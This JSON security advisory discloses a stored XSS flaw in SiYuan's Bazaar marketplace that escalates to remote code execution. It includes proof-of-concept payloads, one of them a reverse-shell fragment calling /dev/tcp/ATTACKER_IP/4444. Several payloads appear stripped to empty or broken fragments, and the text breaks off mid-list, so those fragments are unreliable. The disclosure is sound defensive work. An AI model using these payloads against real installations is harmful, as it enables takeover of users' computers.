{"schema_version":"1.7.5","id":"GHSA-mvpm-v6q4-m2pf","published":"2026-03-18T16:09:34Z","modified":"2026-03-23T18:56:22.398411Z","aliases":["CVE-2026-33067","GO-2026-4747"],"summary":"SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata","details":"# Stored XSS to RCE via Unsanitized Bazaar Package Metadata\n\n## Summary\n\nSiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.\n\n## Affected Component\n\n- **Metadata rendering**: `app/src/config/bazaar.ts:275-277`\n- **Electron config**: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)\n\n## Affected Versions\n\n- SiYuan <= 3.5.9\n\n## Severity\n\n**Critical** — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)\n\n## Vulnerable Code\n\nIn `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:\n\n```typescript\n// Package name injected directly — NO escaping\n${item.preferredName}${item.preferredName !== item.name\n ? ` ${item.name}` : \"\"}\n\n// Package description — title attribute uses escapeAttr(), but text content does NOT\n
\n ${item.preferredDesc || \"\"} \n
\n```\n\nThe inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.\n\nThe Electron renderer at `app/electron/main.js:422-426` is configured with:\n\n```javascript\nwebPreferences: {\n nodeIntegration: true,\n contextIsolation: false,\n // ...\n}\n```\n\nThis means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`.\n\n## Proof of Concept\n\n### Step 1: Create a malicious plugin manifest\n\nCreate a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:\n\n```json\n{\n \"name\": \"helpful-productivity-plugin\",\n \"displayName\": {\n \"default\": \"Helpful Plugin\"\n },\n \"description\": {\n \"default\": \"Boost your productivity with smart templates\"\n },\n \"version\": \"1.0.0\",\n \"author\": \"attacker\",\n \"url\": \"https://github.com/attacker/helpful-productivity-plugin\",\n \"minAppVersion\": \"2.0.0\"\n}\n```\n\n### Step 2: Submit to Bazaar\n\nSubmit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).\n\n### Step 3: Zero-click RCE\n\nWhen **any** SiYuan desktop user navigates to **Settings > Bazaar > Plugins**, the package listing renders the malicious `displayName`. The `` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`.\n\n**No click is required.** The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.\n\n### Escalation: Reverse shell\n\n```json\n{\n \"displayName\": {\n \"default\": \"Helpful Plugin& /dev/tcp/ATTACKER_IP/4444 0>&1\\\\\\\"')\\\">\"\n }\n}\n```\n\n### Escalation: Data exfiltration (API token theft)\n\n```json\n{\n \"displayName\": {\n \"default\": \"\"\n }\n}\n```\n\n### Escalation: Silent persistence (Windows)\n\n```json\n{\n \"displayName\": {\n \"default\": \"\"\n }\n}\n```\n\n## Attack Scenario\n\n1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.\n2. Attacker submits it to the SiYuan Bazaar via the standard community contribution process.\n3. The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.\n4. When **any** SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.\n5. The injected `` (or `